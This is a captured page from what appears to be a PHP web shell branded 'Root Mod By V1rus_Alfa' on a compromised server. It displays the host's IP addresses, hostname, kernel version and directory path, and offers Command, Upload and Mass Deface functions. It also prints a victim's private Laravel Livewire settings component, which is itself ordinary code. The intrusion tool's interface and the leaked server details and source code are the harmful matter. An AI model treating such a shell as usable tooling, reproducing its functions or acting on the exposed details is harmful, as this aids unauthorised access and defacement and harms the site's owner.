���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Livewire
/
Site
/
Pages
/
Analyze
/
Setting
/
Project
/
Viewing: Edit.php
<?php namespace App\Livewire\Site\Pages\Analyze\Setting\Project; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\Route; use Livewire\Component; use App\Models\UnitList; use App\Models\AnalyzeSetting; use App\Models\UnitListSetting; use App\Models\AnalyzeUserSetting; use function App\Helpers\toEnDigit; use App\Helpers\HelperClass\GeneralUseV2; class Edit extends Component { public $project_id; public $list_id; public $settings = []; public $form = []; public function mount($id, $project_id = null) { $this->project_id = $project_id; $this->list_id = $id; $this->settings = UnitListSetting::where(['list_id' => $id, 'user_id' => auth()->user()->id])->with('setting')->get()->groupBy('setting.group')->all(); foreach ($this->settings as $group) { foreach ($group as $row) { $this->form[$row->key] = $row->value; } } if (!isset($this->form['r'])) { $this->form['r'] = 0; } if (!isset($this->form['p'])) { $this->form['p'] = 0; } if (!isset($this->form['q'])) { $this->form['q'] = 0; } if (!isset($this->form['j'])) { $this->form['j'] = 0; } } public function handelProcess($type, $key) { if (!isset($this->form[$key])) { $this->form[$key] = 0; } if ($type == 'increment') { $val = $this->form[$key] + 0.1; } else { if (0 < $this->form[$key]) { $val = $this->form[$key] - 0.1; } else { $val = 0; } } $this->form[$key] = round($val, 1); } public function handelSubmit() { $inserts = []; $setting = AnalyzeSetting::get(); foreach ($setting as $row) { $req_val = 'false'; if (isset($this->form[$row->key])) { $set_val = $this->form[$row->key]; $req_val = 'true'; } if ($req_val == 'false') { $set_val = $row->value; } $inserts[] = [ 'key' => $row->key, 'value' => $set_val, 'list_id' => $this->list_id, 'setting_id' => $row->id, 'user_id' => auth()->user()->id, 'created_at' => Carbon::now(), 'updated_at' => Carbon::now(), ]; } if (count($inserts) > 0) { UnitListSetting::where(['list_id' => $this->list_id, 'user_id' => auth()->user()->id])->delete(); UnitListSetting::insert($inserts); $list = UnitList::where(['user_id' => auth()->user()->id, 'id' => $this->list_id])->first(); if ($list->unit_id) { $property = []; $unit = $list->unit; if (0 < count($unit->variables)) { foreach ($unit->variables as $variable) { $set = false; foreach ($list->input as $input) { if ($input->key == $variable->key) { $set = true; $this->form[$variable->key] = $input->value; } } if (!$set) { $this->form[$variable->key] = ''; } array_push($property, ['key' => $variable->key, 'value' => toEnDigit($this->form[$variable->key])]); } } $this->form['count'] = 1; $this->form['type'] = 'set'; $this->form['unit_title'] = $list->unit->title; $this->form['unit_id'] = $list->unit->id; GeneralUseV2::computing_unit($this->form, $property, $list); } } if ($this->project_id) { return redirect()->to('/' . app()->getLocale() . '/analyze/projects/units/' . $this->project_id)->success(trans('container.operation successful')); } else { return redirect()->to('/' . app()->getLocale() . '/analyze/list')->success(trans('container.operation successful')); } } public function render() { return view('livewire.site.pages.analyze.setting.project.edit') ->layout('components.layouts.site.app', ['page_name' => 'analyze', 'previousRoute' => is_null($this->project_id) ? route('analyze.list', ['locale' => 'fa']) : route('analyze.projects.units', ['locale' => 'fa', 'id' => $this->project_id])]); } public function refreshPage() { $this->form = []; $this->settings = []; $this->mount($this->list_id); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa